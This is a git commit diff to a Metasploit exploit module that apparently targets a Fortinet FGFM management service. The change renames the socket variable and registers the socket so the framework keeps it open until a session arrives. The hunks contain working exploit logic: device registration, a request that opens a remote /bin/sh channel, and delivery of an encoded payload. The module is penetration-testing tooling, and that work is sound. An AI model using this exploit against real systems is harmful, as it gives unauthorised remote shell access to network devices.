register teh Rex socket we create via add_socket. This lets teh frameowkr close the socket after we get a session, and will wait up to WfsDelay for that to happen. This lets us remove the other timeout we had, and teh user can always adjust WfsDelay if needed. (Thanks Spencer)

This commit is contained in:
sfewer-r7
2024-11-22 12:42:08 +00:00
parent e5cdf6097d
commit 68e9b39ffa
@@ -78,11 +78,11 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check
s = make_socket
fgfm_sock = make_socket
peer_cert = OpenSSL::X509::Certificate.new(s.peer_cert)
peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert)
s.close
fgfm_sock.close
organization = get_cert_subject_item(peer_cert, 'O')
@@ -131,15 +131,15 @@ class MetasploitModule < Msf::Exploit::Remote
print_status('Connecting...')
s = make_socket
fgfm_sock = make_socket
fail_with(Failure::UnexpectedReply, 'Connection failed.') unless s
fail_with(Failure::UnexpectedReply, 'Connection failed.') unless fgfm_sock
print_status('Registering device...')
req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00"
resp1 = send_packet(s, req1)
resp1 = send_packet(fgfm_sock, req1)
unless resp1&.include?('reply 200')
fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.')
@@ -149,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote
req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00"
resp2 = send_packet(s, req2)
resp2 = send_packet(fgfm_sock, req2)
unless resp2&.include?('action=ack')
fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.')
@@ -164,13 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote
req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n"
send_packet(s, req3, read: false)
# A short delay, as we send our payload over the chanel, we want to keep this channel open long enough for the
# server-side to process it and execute the payload, before we tear down the socket.
Rex::ThreadSafe.sleep(1)
s.close
send_packet(fgfm_sock, req3, read: false)
end
# We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may
@@ -199,19 +193,28 @@ class MetasploitModule < Msf::Exploit::Remote
params.ssl_client_key = get_client_key unless datastore['ClientKey']
Rex::Socket::Tcp.create_param(params)
fgfm_sock = Rex::Socket::Tcp.create_param(params)
# Register our new socket, so that abort_sockets will close this socket after the payload handler
# has caught the session (or untill WfSDelay timesout). This avois us haviung to intriduce a seperate timeout
# in the exploit method, before we manually close the socket and then try to catch the session. We want to keep
# the socket open until we have a session, as closing the socket too quickly can prevent the payload command
# we transmit over the FGFM channel on this socket from executing.
add_socket(fgfm_sock)
fgfm_sock
end
def send_packet(sock, data, read: true)
def send_packet(fgfm_sock, data, read: true)
packet = [0x36E01100, data.length + 8].pack('NN')
packet += data
sock.write(packet)
fgfm_sock.write(packet)
return nil unless read
header = sock.read(8)
header = fgfm_sock.read(8)
unless header
print_error('Failed to read an FGFM header')
@@ -230,7 +233,7 @@ class MetasploitModule < Msf::Exploit::Remote
return nil
end
sock.read(len - 8)
fgfm_sock.read(len - 8)
end
def get_cert_subject_item(cert, type)